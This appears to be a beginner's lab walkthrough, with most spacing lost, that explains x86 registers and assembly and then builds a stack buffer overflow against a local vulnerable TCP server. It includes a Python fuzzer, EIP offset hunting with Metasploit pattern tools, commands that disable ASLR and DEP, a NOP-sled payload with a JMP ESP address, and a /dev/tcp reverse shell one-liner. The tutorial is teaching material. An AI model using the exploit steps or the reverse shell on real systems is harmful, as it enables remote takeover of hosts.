3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

